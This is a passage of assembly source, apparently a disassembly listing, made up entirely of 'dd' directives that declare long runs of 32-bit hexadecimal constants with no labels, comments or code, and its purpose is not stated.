		dd 64BB8745h, 54758Dh, 0C800A4B6h, 0A8FCB8C6h, 81E1160Eh
		dd 15FCD5F4h, 223A761h,	31AC430Ah, 508FD701h, 0B5064799h
		dd 868BB3Dh, 0D6618481h, 998E5482h, 0B2398587h,	0B926F6Bh
		dd 77BBBE29h, 0C0AEDDDh, 0EFD4FCCh, 0B98E939Ch,	3EA594D2h
		dd 43E5808Fh, 0C7C3844Ah, 0E5586062h, 8EBB3Fh, 3ADC6DBEh
		dd 73E4389Bh, 20FB1C6h,	6D972F3Bh, 6B3A0CDFh, 0D3DFE9F1h
		dd 0E2E30C2Ch, 0FE462506h, 55F7F6EEh, 0D6E460A0h, 0E6DA4ECBh
		dd 331F49A8h, 1635802Eh, 1BCC6061h, 31B5456Bh, 0AC1F6C8Ch
		dd 3D72AEF4h, 48D2FE84h, 0FE2A387h, 78DCA930h, 0EB8F6B7Fh
		dd 0D3F96C6Bh, 0E205EE77h, 0FC6E64A0h, 658007Dh, 0E11CD969h
		dd 51DBE05Ch, 0B9D4EE89h, 0CDE8D59Dh, 0F4E7BA91h, 0AADF68D1h
		dd 8252F628h, 0E75BBB21h, 1730A850h, 34DCC7Bh, 84859340h
		dd 8212D6A8h, 0A9456094h, 0F2612163h, 0C1199AAAh, 4175D575h
		dd 4D50ABA9h, 0B92B1BABh, 0BF99792Fh, 0F894774Eh, 635281BBh
		dd 325C66B3h, 0B0FF36D9h, 3FAE6E87h, 0F945BC0Ch, 0B4E080E6h
		dd 0F89972DFh, 0DF647E1Eh, 42414476h, 99B254E7h, 59B4F5E5h
		dd 8D78CF4Fh, 0BC1835BFh, 798CCA26h, 6BF2A385h,	0E746D69Dh
		dd 0FDDAFB2Bh, 0F46754C5h, 21429ADAh, 0D56BCBDFh, 0BDDB4B3Ah
		dd 0D4936DDEh, 448DD242h, 739E1472h, 0A5469971h, 4C1A3115h
		dd 1BA6412h
		dd 8E4572B1h, 22562182h, 0CB6A2EEEh, 0C1F4AD6Bh, 44286202h
		dd 0D0F02588h, 0B4623A94h, 0F6F73C71h, 8D630BB5h, 0CE3220ECh
		dd 4540210Fh, 0CE66A64Ch, 0A52FEC81h, 226F6D66h, 255075C9h
		dd 78831D9Fh, 0E394731Fh, 0C815F4EDh, 0C3A167E4h, 5EDE32DBh
		dd 0C617CB0Eh, 63A8EFFCh, 0C4F61F72h, 0B970AFC6h, 0D49E42B4h
		dd 988EA9ABh, 3B7C0CD9h, 0D299FDAAh, 51EBF34Ah,	6E54A93Bh
		dd 7A6FAB3Ah, 0D8281EA8h, 32477490h, 0B18AF410h, 4D72B30Dh
		dd 4224E30Dh, 39EFC236h, 8F2A505Dh, 53748925h, 0C4DF1F36h
		dd 0C62B8D86h, 465C43B0h, 5176D27Ah, 9227877Ch,	0B76EA5DEh
		dd 0DB80BA9Eh, 739BD2DDh, 24982D78h, 0D1589F3Ah, 0B76FAB61h
		dd 78FF9704h, 0C264E8F4h, 0BB963C5Fh, 0E1BDC58Bh, 0B1F46204h
		dd 571BAAF2h, 0CC1CFA05h, 59B40E03h, 0F2BBCB53h, 2FD0F72h
		dd 23955748h, 0A5C17EA7h, 0F34843E8h, 6BEA4970h, 710F9E9Dh
		dd 2EB67FC1h, 0AB86C507h, 9E41F49Dh, 0A21A7987h, 4EC97317h
		dd 0A2570263h, 0B6C759ACh, 0F819E4CAh, 0B9604B1Eh, 0B9B84112h
		dd 0FA1DED20h, 0CA01DDC5h, 0DE0A1F97h, 0EF65B62Fh, 119CD87Ah
		dd 8422AEEBh, 7A5242F8h, 102B5949h, 1BD958Bh, 0A19FA8C7h
		dd 592FA7CDh, 74DAE506h, 0EA1D2C86h, 0C3FCEA5Ch, 0C429AAB5h
		dd 13D0629h, 8FBCF4F5h,	7E9B355Bh, 436CB859h, 53A752C1h
		dd 86E03B51h, 22D907DCh, 0A0D814C4h, 4BEC12D0h,	0BF6CB0A5h
		dd 814CAB4Eh, 54B69350h, 0EDA822D5h, 75933988h,	0A719E53Fh
		dd 0FB3A1BB8h, 41AFE280h, 0B027D656h, 0B24B292h, 5663EA5Ah
		dd 6BB5AB37h, 4B950356h, 0C5F3C59Ah, 7690D568h,	5FB699CDh
		dd 452C105Ah, 17E71CB0h, 5AF3A250h, 467FE094h, 8350AD49h
		dd 0D135F202h, 89D66683h, 50A3EFE0h, 89BD3F16h,	0C446975h
		dd 0D32ABD53h, 0A50AB1BDh, 97D19166h, 0C7CA89F7h, 181D5A93h
		dd 54D5B247h, 21FF1AD4h, 137CB8h, 0FFA730EAh, 0A3F1DD6Ch
		dd 1893E135h, 0D9E5F9C9h, 3BE7546Dh, 0DDDAE24Dh, 1D46E231h
		dd 0D513EC26h, 0B75311D2h, 0EBEE293Eh, 0E5717004h, 45AECB87h
		dd 85E21D08h, 68FBA1C7h, 9F2EDB90h, 706D20FAh, 0CDB8647Dh
		dd 976CD8Ch, 4805460Dh,	8C228775h, 4D5925F2h, 39140B01h
		dd 97E69A22h, 47727DA1h, 79EAE7C5h, 0FCB6E7E7h,	0E7EF201Bh
		dd 9B205A37h, 3717ABCCh, 1E3D3AADh, 70C1AB05h, 0F6C499F9h
		dd 314115DBh, 81CB16EEh, 0B0726EAh, 29F4BE06h, 0C66C3265h
		dd 0DFA57698h, 0A6AF5DA2h, 0B17E96F9h, 6E82FBA0h, 1A686AACh
		dd 2153A288h, 0E0791BA6h, 133BCB6Ch, 316727D2h,	8A4AF132h
		dd 0AB163BB2h, 9A9ECD5Dh, 23ED0471h, 17180087h,	0D4BE7715h
		dd 0ACC234FDh, 4ACFCAF9h, 3FB07B4Dh, 898B44F1h,	0E00F1B08h
		dd 0DBBC3E59h, 7AE47AA7h, 0E94A434h, 7666C010h,	624FB6D6h
		dd 0C54A33EEh, 8A9744FDh, 0FF7F4D0h, 3292D78Ah,	64D33499h
		dd 11688D00h, 65449B7Bh, 67A696Eh, 0C01BC79Ah, 0CA6156F9h
		dd 8681F002h, 105978B3h, 251F5AE3h, 691A63BCh, 3750CB4Dh
		dd 1504651Bh, 37938713h, 0FA1D5534h, 8583032Eh,	1DEBA476h
		dd 9DA49F83h, 855FFA72h, 0F85A5E54h, 83A39F7Fh,	3F4F515h
		dd 355FC00Ch, 165AE634h, 56B09376h, 162A951Eh, 4A2A7C79h
		dd 501316A4h, 0C18509C3h, 36CE6D7Ah, 5047335Ch,	6C1409F0h
		dd 0F068E8E9h, 0D7D47AD9h, 1C53BF06h, 4EF88A6Ah, 0D65F7606h
		dd 0CD781F1Bh, 17A3EE9Bh, 3A22EEE2h, 0F990CDFFh, 0E016F8Ah
		dd 0CBC7E67Dh, 4736BED9h, 4268D55Ch, 3891FE48h,	4E9E2404h
		dd 22DE1D08h, 6783041h,	17B03C94h, 9E327136h, 0C3B04A06h
		dd 0C1A3F9D2h, 0D9A1C517h, 115A4A5Ch, 0E0E78B89h, 3653B478h
		dd 0CAA85439h, 0CA074BECh, 8B3AC00Dh, 524C1DB8h, 0F64D0AA9h
		dd 837A1C81h, 9A8EAE66h, 0B67BF7C2h, 0C99AE60Fh, 0B1DB8FF8h
		dd 9256CBCBh, 4B471336h, 0F89804BAh, 5BF91EF9h,	0C332D471h
		dd 8F878FE5h, 0B9FE3740h, 0B64984A0h, 1F50BB39h, 9F0A9D3h
		dd 5BCCA153h, 0F7C6CE59h, 0CB249CFDh, 40C6CDB7h, 6A3E970Eh
		dd 58FF7FD7h, 7DF59411h, 0F288B779h, 7540D90Eh,	9FB24048h
		dd 0AE9B4B65h, 8C6B3FFFh, 0E4FD9C11h, 0BEC9FF96h, 0E74565FCh
		dd 815B702Ch, 0F874A688h, 37874AFEh, 0A7E125B5h, 3C678E83h
		dd 5E9F0008h, 22122BF4h, 0EBA6A662h, 4B2E40FBh,	0BC801D2Ah
		dd 1C0D26ADh, 973975B7h, 63AB187Bh, 0EE93A771h,	5B9A7FA1h
		dd 7DADC7Fh, 0D627C8C3h, 145A4405h, 0AC02884Fh,	8979891Fh
		dd 727C647Eh, 0F97E8246h, 83193272h, 0F9A776EFh, 240BD1C9h
		dd 0AD5E6748h, 30644C3h, 99DE3C03h, 0D78AFFE3h,	27C4B533h
		dd 0DA4D5581h, 0A56E7B14h, 0A35FC134h, 0BA00F2B0h, 789D6B29h
		dd 0D9E1CF84h, 0E5ED80AFh, 336893E8h, 2BD4934Ah, 50A6772h
		dd 0E457BB9Bh, 0A14D0B14h, 82C93F86h, 0AA16E143h, 0FE7D414Ch
		dd 4AB92EC8h, 61105B23h, 0ADFA9B83h, 2CC10984h,	3E82CCFh
		dd 41DD35C7h, 0B175F5FBh, 266ABAE6h, 0D90E1A47h, 546D815Eh
		dd 3A38B241h, 0A0074336h, 2D56EF0Dh, 81D4DB12h,	0D0607CA2h
		dd 516C4FFDh, 58D851EFh, 713DA558h, 8ACA586Ah, 495281F8h
		dd 0D35466FDh, 0A72F0D41h, 29A3C8A3h, 0C8CB7E55h, 7C22BBE8h
		dd 0B6C2B5FBh, 24133904h, 0C2336BDEh, 2A3BBA33h, 0DFCFD637h
		dd 593A1DC6h, 888AB2EBh, 3B5D180Fh, 5D092AEBh, 0D124A5Ch
		dd 5C47E826h, 0DB180E5Dh, 0F62D29C1h, 0C322ABDCh, 70AD5555h
		dd 10446028h, 0FA8D222Ch, 0AD55FE44h, 419C2590h, 799E608h
		dd 0AE765037h, 4D05BDE0h, 22F33E29h, 20D6BB57h,	554B27Fh
		dd 13D53DD3h, 809F6CEh,	0FC8E501Eh, 511B0BF4h, 0CD0B8A5Eh
		dd 0B22AEFE3h, 0EF9154B4h, 9FF8D4AAh, 7C1B9AE5h, 0F8DE4D71h
		dd 0C60400B3h, 0AA9A97A2h, 0E20673B9h, 0E7EC1F2Ah, 12BB7FDAh
		dd 400997FBh, 0CD9EB26Dh, 0FF0D65E4h, 0A733B9F2h, 0A002E9D8h
		dd 0E4702755h, 0A0250F50h, 0BF1A520Bh, 0FBEB40EAh, 79EF3092h
		dd 34F77FC0h, 560B0639h, 0FB191F2Ch, 92DA8681h,	0A37830B2h
		dd 50A41E1h, 950F164Ah,	0DEC73DF9h, 0A150D194h,	0BDBFF00Bh
		dd 2AC6270Dh, 3ABE5A99h, 0EE51F255h, 0C23442EEh, 259224FCh
		dd 1D81B79Ch, 71CCBC7Fh, 53DF5F74h, 0DA1E1850h,	692D9720h
		dd 4340F98Dh, 0A7351FBDh, 866C6925h, 6514A8ADh,	4C4FA9E8h
		dd 6497FE03h, 0C1218187h, 0A094AF2Fh, 2821A99Ch, 38137E44h
		dd 0AAF3F8FCh, 61623AB4h, 0DDE0E75Ch, 0E8A9A9AFh, 5F19DE49h
		dd 0B604040Eh, 0CBE04496h, 0FA364FA9h, 59FE9FEEh, 897CA3A4h
		dd 13A0C2D6h, 3E7BA74Ch, 0ABB84C7Bh, 272CCE66h,	0EA4C84DEh
		dd 10B6ABDDh, 81F9ABA5h, 0F78005F6h, 52C89D27h,	877959D2h
		dd 141514D9h, 8EECE79Eh, 2FEFB391h, 1CDBBCABh, 85E8C224h
		dd 0C8FB07F2h, 68496056h, 0FF379FA8h, 0E5AB2CABh, 0ABEC78Bh
		dd 76CE958h, 0C54FE6AFh, 2FABCD6Dh, 0B6059A7Ch,	0D9BB05BDh
		dd 0F81ACDCBh, 84AEC4D1h, 2FEAF57Eh, 1FDDCF44h,	574C6150h
		dd 30533488h, 5BF2CB9Bh, 99CCFDD4h, 886D80F8h, 290AF28Ah
		dd 0CD45F4E3h, 0FAF913D5h, 0D923F3CAh, 0A280A35Bh, 425AF800h
		dd 4D8B589Ah, 3F929721h, 0E0D3574Ch, 4112C23Fh,	2BE18967h
		dd 330A2881h, 5F487BEh,	0F1F1BC3h, 2042E1F6h, 60D73739h
		dd 0F985B290h, 98E97403h, 938CBAC5h, 607F008Bh,	0B78B276Dh
		dd 2AEB448Eh, 568FFDB2h, 7D5BD34Bh, 5D7FCFB0h, 38636BE6h
		dd 56FAD897h, 5036BF69h
		dd 0C2C1F43Ah, 8AE3427Bh, 69DD0900h, 0CBD95271h, 0A42655EAh
		dd 87A19F69h, 0BB254EA1h, 22655995h, 9D288D27h,	1A831D33h
		dd 0E5E870AEh, 0E2E71CA9h, 0C7609CD2h, 3CE5E28Ch, 4644F351h
		dd 46CFC4DBh, 366C24F2h, 0E030CD2Eh, 0AEDBA226h, 0AE7F238Ah
		dd 6031277Fh, 64D42283h, 0B33DA57h, 59723EB9h, 574D67Fh
		dd 72C72FB8h, 603BD816h, 0C4EFF8BEh, 0B2300532h, 0E56677C0h
		dd 77E3EBF0h, 0E7E55CE3h, 0C1C9E9A2h, 0F60F2A85h, 5C044F79h
		dd 0B471A5A8h, 1A47A9B4h, 0D4C99CECh, 0C7BFA8C8h, 7653B4F8h
		dd 0FD3CFBD0h, 48644433h, 96AC2CA8h, 3980F3FEh,	90BBDA01h
		dd 2D018010h, 90932FC2h, 0C87654EFh, 3C3B2BABh,	74690117h
		dd 24C6E289h, 1F2A53DBh, 80DB6960h, 0AEDDD34Ch,	0F9938E60h
		dd 0F1EAA469h, 0BE9009D9h, 7FF0D986h, 21130AF1h, 0D97D3707h
		dd 0B62D1EA5h, 0C66B3086h, 0B8802A69h, 1CC4A9EFh, 68F2C77Eh
		dd 0A182C789h, 62146EBEh, 0E9B02912h, 0E595CF6Dh, 407B307h
		dd 1AF423C4h, 2E2EB870h, 84D7A16h, 5F64FC90h, 0F511B3F8h
		dd 97114B0Bh, 487867F8h, 7787479Bh, 7CC5A4B2h, 24B4B4B1h
		dd 9F3F3409h, 5CA49893h, 0EC40A097h, 1AD407Eh, 0CC692ABBh
		dd 0FF8A0DA1h, 7707F608h, 5B3DD6D2h, 0C4ED48B9h, 61CD27AAh
		dd 22B38E69h, 7D586CF5h, 0A5E80310h, 0BADFE66Eh, 223FE75Eh
		dd 4A548EA2h, 62018512h, 0F78E850h, 7952C8F8h, 0E4121581h
		dd 0CD1E237Dh, 2246793Eh, 9D9F631Bh, 0FFCF8B86h, 0CAA113CAh
		dd 48DBC9A5h, 79077BE0h, 320FF829h, 8D936FFCh, 0E67E570Dh
		dd 7AB48912h, 0D58C60BAh, 0C8131510h, 0C7DADF4Fh, 7A11BB2Dh
		dd 0C4A9D949h, 0D139179Fh, 0C10F992Fh, 29D995C1h, 71045983h
		dd 9FC783FDh, 0D7A2DAB3h, 1AB39C73h, 8EA6BF9Fh,	712FA361h
		dd 4528A2E1h, 20E7315Eh, 0C9DA82EEh, 1025AA08h,	0C5C30AE7h
		dd 846F930Ch, 686D526h,	768E5E10h, 136F700h, 0CB5AB5B2h
		dd 0CBFD9B17h, 8A228C02h, 0DFF0A7Eh, 0A0F98486h, 7786A39Bh
		dd 8C78686Ah, 0D7B4576Dh, 0FD0E8FB5h, 7809AD64h, 6D181F60h
		dd 45C9603Eh, 5C339C60h, 606164FBh, 0A6682ECDh,	32B53C3Dh
		dd 1C832612h, 9719FC6Dh, 52972015h, 84C01CB7h, 0C84420DCh
		dd 0DFB838Bh, 0A14E761h, 659E894Dh, 0C659D8A1h,	0B2D25859h
		dd 2148FBF9h, 890E118h,	0A3ED767Ah, 935E3789h, 0C03AE90Ah
		dd 61E3C548h, 77AC565Ah, 0B6F70B9Eh, 9F6B13FEh,	0F1F8B720h
		dd 4B7D808Fh, 41A27883h, 0DC955614h, 9DF023E1h,	0D1894B3Dh
		dd 0A1713207h, 9BE9B4F7h, 0DE0CF68Eh, 0BB3E510h, 4C671D58h
		dd 36863875h, 7ED8B5B7h, 0C73C005Bh, 0F98F380Fh, 0DE55F4D7h
		dd 0E839C6D7h, 153D65B3h, 5CBFDED0h, 0C0F8B37Ah, 0AC1F68BFh
		dd 0B4E35456h, 0D4A0CED7h, 7811B5FCh, 85147E21h, 0E752C6C5h
		dd 0A9B3749h, 9AA891C2h, 47B3DF25h, 3F9B3E43h, 8B4A72C0h
		dd 0CD693DB4h, 7554454Bh, 99C5E4ECh, 56B681FAh,	33C5147Ch
		dd 4D057E3Dh, 44C4D79Fh, 0BFA3A94Dh, 0D51A463Bh, 57004FFBh
		dd 0D0CCC876h, 0CC98AE73h, 0C6D20F1Eh, 0CE74FAF3h, 0DA7C6F65h
		dd 1A6D65Ch, 0EE0FB2Bh,	0CB837707h, 0B2E050CEh,	1A841C16h
		dd 0F49E128Dh, 0BD787ECFh, 0CE428E28h, 8A725ECCh, 3BF02904h
		dd 38A2B66Ch, 0C67330FBh, 0CC737CB1h, 0ED348B7h, 1CD92A47h
		dd 19E98211h, 0FB528BFh, 816AAB92h, 5538C04Fh, 0C2F1D0CFh
		dd 5F42096Fh, 74337050h, 38A80ECAh, 0FCC99640h,	4DFBE78Dh
		dd 77223103h, 0E11B95B5h, 0DB7D41A2h, 7E7D0D61h, 6E473911h
		dd 33310808h, 8415A054h, 2F1A3A7Eh, 89A0BE8Ah, 9BF30D4Fh
		dd 0A4E64935h, 0D4DCAF02h, 0D5F192C2h, 0CF56CF08h, 289A08E5h
		dd 0FCF88F94h, 0B7E64A0Bh, 47F498ACh, 0AD507240h, 5CA9BDCBh
		dd 9356F8BCh, 3EF86C0Dh, 0AB82A69Fh, 0D9520BABh, 0C601BE37h
		dd 0F0AB9FCEh, 0F8D46237h, 0D90A6DACh, 1661B70h, 0ED2DE069h
		dd 0E5D2FE79h, 665DB83Bh, 685E9530h, 5C8A1F24h,	8D2DA44Ch
		dd 1765C7B0h, 0AA90456Ah, 9ED44BADh, 0DBF8A5E4h, 0ECD77E30h
		dd 781EE227h, 3F42F226h, 8959A854h, 824A1CFAh, 46E41524h
		dd 9CCE66DAh, 29A42EF9h, 0CEDD1006h, 0E6E47826h, 7BA46941h
		dd 15D03CC7h, 1C3C8BE5h, 2AD3B901h, 0A4B797D0h,	7CE94F11h
		dd 8E99E7EBh, 0EC206C8Bh, 0B8A51F46h, 50025D67h, 0E2A692E0h
		dd 0D89216C4h, 8DED6B86h, 69296404h, 2FBEB235h,	0EA67E460h
		dd 0B9D462CCh, 19EEE4B0h, 5CE585F1h, 0D5AC5023h, 344E67Ch
		dd 833EE192h, 0F5E7578Bh, 0A846E044h, 3D5C8701h, 0DA52540Bh
		dd 0F684B7C3h, 0B62045DBh, 35FDDD25h, 0C97CB53h, 82EE7315h
		dd 528A140Ah, 4B1BC8E9h, 0DF5BFB37h, 0BEBA6AF9h, 0BC4DE654h
		dd 5208A3DAh, 2A7DBE2Dh, 8F4FDE95h, 0E7ADD7F1h,	87F2EEB9h
		dd 9F453B34h, 0BA512479h, 0A8B16300h, 9AA3B663h, 72488051h
		dd 8A32668Fh, 85FE1579h, 0DB447521h, 5A9692D9h,	2B399035h
		dd 1259CA95h, 90C0E835h, 0C66A6C5Ch, 3165FB56h,	0CCF1854Ah
		dd 0A9AC15FFh, 7CB5C931h, 0B810D693h, 0E7FAA642h, 0B006D14Ah
		dd 2B913073h, 84CD13E4h, 69CA1BDh, 0E5A405ECh, 5071E57Ch
		dd 864FF413h, 838F7123h, 0BFCAF89Ch, 8A3360A3h,	0C1338C8Ah
		dd 0FED59C16h, 1D8DBF0Fh, 0A6A73B4Dh, 5463E3F5h, 83647340h
		dd 0C29100FFh, 0E8D6CBEh, 0AEECED60h, 3A4990A1h, 0AFF015Fh
		dd 0B318FCEh, 476ABF45h, 381E1208h, 1DE745A7h, 0B7AC1421h
		dd 4653B5CFh, 96A7D1D6h, 0D67CAD1Eh, 0F80D3050h, 0D7651958h
		dd 3EA3CB4Eh, 75AA33B0h, 7CF373B6h, 6447D83Bh, 69E42069h
		dd 0B5D9DE9Eh, 384EADFBh, 89E2383Fh, 28EADD19h,	3194927Ch
		dd 2511A9A3h, 207CCA5Ch, 0AD8EEA36h, 2B13D0ACh,	0F5166214h
		dd 0F4DAD8C7h, 0A3A14AEEh, 0AF66309Eh, 54E7592Eh, 0BCB8CB60h
		dd 0C232BF88h, 4F00284Dh, 4C433A9Bh, 85951892h,	6A4C0E7Bh
		dd 0C6593211h, 0FE6A4F75h, 8976721Ch, 9E5E4FFBh, 0BE43E24Dh
		dd 0B123D3E2h, 0B6CB7876h, 398ADE70h, 4801BA31h, 221F9D82h
		dd 5190B6B7h, 0B20AB568h, 88E1F185h, 91064562h,	0A7492723h
		dd 81838577h, 3B7BA0EAh, 410045B5h, 53734F31h, 70729637h
		dd 945F3B53h, 0FB8CAFD4h, 17057BDh, 0D260DB42h,	0E0B9A392h
		dd 973050C4h, 4CFE87B7h, 84801CBCh, 0EFE035DAh,	3F3AF76Bh
		dd 6AAADE60h, 79C4952Bh, 0A4CFF64Eh, 5648AF6Bh,	735CCACEh
		dd 0E1DDFFAEh, 0CAF4105Ah, 0FEE503CAh, 12EB9A3Ch, 467E009Dh
		dd 0BE35BC46h, 70F3505h, 181BA5D5h, 9DECD531h, 2CD44749h
		dd 0B79291AEh, 52202FE0h, 4F00C5C4h, 360A8449h,	65730ADAh
		dd 0F5C374BAh, 0A609A2Fh, 9913F252h, 0FE0717F9h, 0ABA2345h
		dd 0ED5F1DF4h, 1183C1CBh, 0DEB92B81h, 2A3880B3h, 286D3239h
		dd 0CC99E11Dh, 0BE2B3B08h, 0AD5A37CDh, 0E1B6E21Fh, 36E9FF89h
		dd 6436CD90h, 0EEA2D5F7h, 3AEE46D8h, 7B45E38Ah,	0D4F76F6Eh
		dd 0A8876DE2h, 0AD9B479Ah, 3DDCFEAh, 9A3977E1h,	0A9D04BD2h
		dd 0B057CF35h, 4C6B09DEh, 1331D06Bh, 333039BCh,	0F9B64B79h
		dd 62CA6094h, 1610512h,	0A48B4E02h, 9B697225h, 0BD79E591h
		dd 31D9F3EDh, 8B64942Ah, 0E241A284h, 0D7A22243h, 9BC9285Ah
		dd 0F7CBA91Dh, 29B8C178h, 4FEB8B2Dh, 810AAB6Eh,	0DFE2B2D7h
		dd 20099F52h, 6EDE3DDFh, 44238CB7h, 37B0F8B7h, 0A3D9B0F5h
		dd 1DA90FF5h, 63B47B72h, 965CCA83h, 0DD92C530h,	0F2BFC9DDh
		dd 17BDB58Bh, 8BEC8823h
		dd 0E0147123h, 0E87AA49Fh, 0FB30B504h, 0BC536B3Fh, 0FC9431F0h
		dd 98B6433Bh, 61E0245h,	0C245EF8Ah, 61C2992Bh, 14DC5C35h
		dd 0C80EF620h, 0ABB6CD43h, 2D4FC262h, 87E1E27h,	0F03A8696h
		dd 0FB89B333h, 0E582572Fh, 9FA82397h, 175A554Ah, 975EA801h
		dd 1680BBEBh, 44F513CEh, 0D90C3FFCh, 0A82CE15Ah, 0CE8C1096h
		dd 57D85AD7h, 950E4EF8h, 1E1DC1A3h, 7718DB97h, 296C62Bh
		dd 0D86BE99h, 0E3D56336h, 0A666EF24h, 0EF0F015Ch, 0C7B61351h
		dd 61962EC2h, 39BDD9A7h, 0E7EE9F30h, 2D9EACF3h,	0B206130Ah
		dd 973AE78Ah, 1FE2DE65h, 0BD8E06DAh, 4862B1F6h,	312C8E5Ch
		dd 0A538AC02h, 0E2010BC0h, 674F4CDEh, 0B329B0A6h, 0CA04C7C5h
		dd 0FD3BB653h, 756246C8h, 4A90A898h, 57EC9E8Eh,	352E5AF0h
		dd 17274BEBh, 45EDA5C3h, 4F929861h, 7625B5C2h, 0FC256421h
		dd 0A3BEAE8Bh, 95163FCAh, 20CC8D9Bh, 0B0CAA97Eh, 0B5D9632Ch
		dd 0FF01E187h, 0D4293256h, 71273539h, 52C4FAE2h, 3A22AB4Dh
		dd 79FBE52Eh, 9750EACFh, 83F07004h, 1AA8807Bh, 0C1531FDFh
		dd 941D1310h, 0D070EFFCh, 0ADAEEB9Fh, 72A471DAh, 9C54087Ah
		dd 65032BCCh, 884A81Ch,	2F128885h, 0F6084477h, 0A501F164h
		dd 0AE475C69h, 166C0D3Fh, 761E6234h, 0D89F483Dh, 0D81FF89Eh
		dd 0F75B44AEh, 1B8DF86Dh, 2E07C2Bh, 5F9B176Bh, 0C1E94F05h
		dd 0A4D6841Eh, 3B1527Bh, 0A8D9F53Bh, 387AEAA0h,	86C369Dh
		dd 30F7858Ch, 6714023Ch, 1AC6C777h, 4FA2F455h, 0C9C2522Bh
		dd 0AE24F7E6h, 3791B5C3h, 89EAF15Dh, 0F1581A6h,	74973DB1h
		dd 8F04EEF0h, 0AF72F08Ch, 4A870177h, 32D62C36h,	66A1F363h
		dd 87EF26A8h, 5D5D0AFEh, 0C74886BFh, 894FC5E3h,	7CAC3D9Dh
		dd 39CE2801h, 2035F8F3h, 984B6D6Ah, 766B840Bh, 7284D491h
		dd 76E40FDEh, 0E42769CEh, 314962ECh, 874E179Ch,	6C64C9DCh
		dd 0B12853D2h, 0BD15A7AEh, 74DAE22Bh, 0EC2DF9E9h, 4647788Fh
		dd 0F2DBA1F4h, 814F3492h, 0A0A7D790h, 0ED0F222Fh, 0D8ED7376h
		dd 90C3C0A5h, 41AB5D2Bh, 54E2CE71h, 23CFB9EDh, 0AE05B1B8h
		dd 97CE7BCBh, 32ABA296h, 0B8C64200h, 0FB701206h, 4CCA48BFh
		dd 85C6ADD9h, 0E80E7CEh, 21AB1AD0h, 0D1A68BAh, 6538B16Ch
		dd 6880DB16h, 0C39D9842h, 1B5AEC39h, 0AAEA2BDBh, 4CDD2D3h
		dd 19359BF4h, 4DCED603h, 17BA8E70h, 58211983h, 7D363FA8h
		dd 0FDC02C4Eh, 8D0DED85h, 0B22D8AD2h, 0AE0006D3h, 0CE202E77h
		dd 6DA97F73h, 0AE4D72C9h, 56A5BCACh, 95DD8B0Dh,	0F7A04BF8h
		dd 419E6986h, 0AAA89663h, 0CD9E9274h, 3566664Bh, 2E33011Dh
		dd 0A6A8FFF2h, 6F56EB7Ch, 4844F325h, 8A31F106h,	0BE98E4DDh
		dd 0D97A6B84h, 87A35477h, 0C443D4F3h, 0D2163940h, 602B7021h
		dd 12DF224Ch, 0AA7404F3h, 81C030E5h, 3E1D76CBh,	1565EB65h
		dd 7B98F468h, 56DE86D6h, 0D02DAE8Bh, 2C795DADh,	0DDABF702h
		dd 2E8DDE0Fh, 75558AA1h, 0B752CCA2h, 0DFC3FC1Fh, 0FA277F5Dh
		dd 0C513A6EAh, 0FA70D3Dh, 0BCBA9862h, 91F1D1F5h, 0B380177Ah
		dd 16862CA6h, 0E9C14AD9h, 0D9F44859h, 7EB5E96Ch, 74E78B59h
		dd 0EAACB7A8h, 11D131BDh, 61B01F28h, 7C25AECAh,	0C2E19053h
		dd 0F5849671h, 29C5CAFCh, 0A37133C8h, 43359784h, 4022B720h
		dd 5B824DE1h, 6418E6C1h, 0C52DBC9h, 10917190h, 0A0D3C1A3h
		dd 92A56EABh, 8E076F3Bh, 0AD915001h, 69E6483Fh,	4D8E8E22h
		dd 347E0E71h, 30B3564Ah, 21FC5B23h, 46B2045h, 3C88C82Eh
		dd 93F8DC69h, 938B4DFBh, 0FBCA5762h, 76684F2Ch,	11001DB2h
		dd 6755C014h, 0A5CBFF6Fh, 0DF6AEE2Eh, 407F0A30h, 0FEB4A562h
		dd 0B1323812h, 3D0A8CA2h, 0DF552070h, 6E8AD535h, 0A73A571h
		dd 8D1676B4h, 0AFE1CBC3h, 7568C90h, 0A37BD3CAh,	4FB99AA5h
		dd 0FFA30F4Eh, 54E4340Ah, 9540086h, 2547F3C3h, 8FBCA9FEh
		dd 4D3CCEBFh, 8003D7ECh, 0A984D2FFh, 0DB346CD6h, 841AA095h
		dd 2DA993B2h, 24127F37h, 741CA12Bh, 30A95DD9h, 749B951Ah
		dd 6F661C0Fh, 920D330Eh, 587C21A5h, 0DA7E34B1h,	435C7B6h
		dd 0F6B3BFCAh, 0C5565D32h, 5DFAC820h, 927EE09Ch, 4A522301h
		dd 85F09E66h, 0E3D99ED9h, 0F42E2CF8h, 9DF797CAh, 0C977D30Bh
		dd 0A2FA9F76h, 2D5C651Ch, 6FC38240h, 65D2D66Ch,	7CFE2ABBh
		dd 0E7116B2Fh, 0BE907E37h, 0D2ED31h, 0F5946DDFh, 95802F92h
		dd 36EDFFACh, 90F32DA5h, 6A56CA06h, 0D5B6B82Eh,	91099707h
		dd 7008C731h, 1E203CFEh, 2AC4931Eh, 40AF5DB6h, 0C8E3224Bh
		dd 0D5CAC353h, 0F3E9261Ch, 41A9B4D9h, 8E17DC28h, 601F7936h
		dd 895AA33Dh, 0D4527A01h, 9B86DFCFh, 5B14ACF5h,	8F851922h
		dd 4D3A0ABBh, 2EE85EE6h, 7D8DCB82h, 8E839ADDh, 1B01D771h
		dd 0BCDFFF44h, 0EDEB7DFEh, 67F398C0h, 2CD1D004h, 42CD53BCh
		dd 0B980D1A3h, 0DF0516CAh, 3650AC5Ch, 0F169C35Ch, 68A3E3BEh
		dd 0CF55FBB4h, 8343EFBFh, 8BF84169h, 74985544h,	3C95D375h
		dd 0E7C8F31h, 0BD0259B3h, 0AC4306DCh, 96268FB4h, 3309AEF3h
		dd 0C448451Ch, 0B927567Bh, 92E8F8BBh, 0ED627DA5h, 86B87DA2h
		dd 0FCAF11F5h, 0CFE2335Fh, 1650A0Fh, 0B2819057h, 85FAED6Dh
		dd 355B8A82h, 7AD6E258h, 8521F8BEh, 0D4B8BD7Fh,	6AA7C9D9h
		dd 7A394400h, 0E2673BE1h, 0A8E6E204h, 986C1C3Ah, 0EAD56237h
		dd 0DD04B443h, 0AE96BB32h, 4066D85Bh, 8FE1D4D7h, 21A1F578h
		dd 1732D726h, 0FF825ACFh, 434E94D9h, 5223EAA0h,	22A20179h
		dd 0FCF9A74Ch, 5ACF4C3Ah, 908F2B14h, 41573FFAh,	5E30D733h
		dd 7965F860h, 42F224A7h, 92D9928Eh, 0DADEDC00h,	0F0AF0B29h
		dd 0DEB42F2Bh, 6FC890F6h, 5CC19048h, 0A027ED89h, 9655556Fh
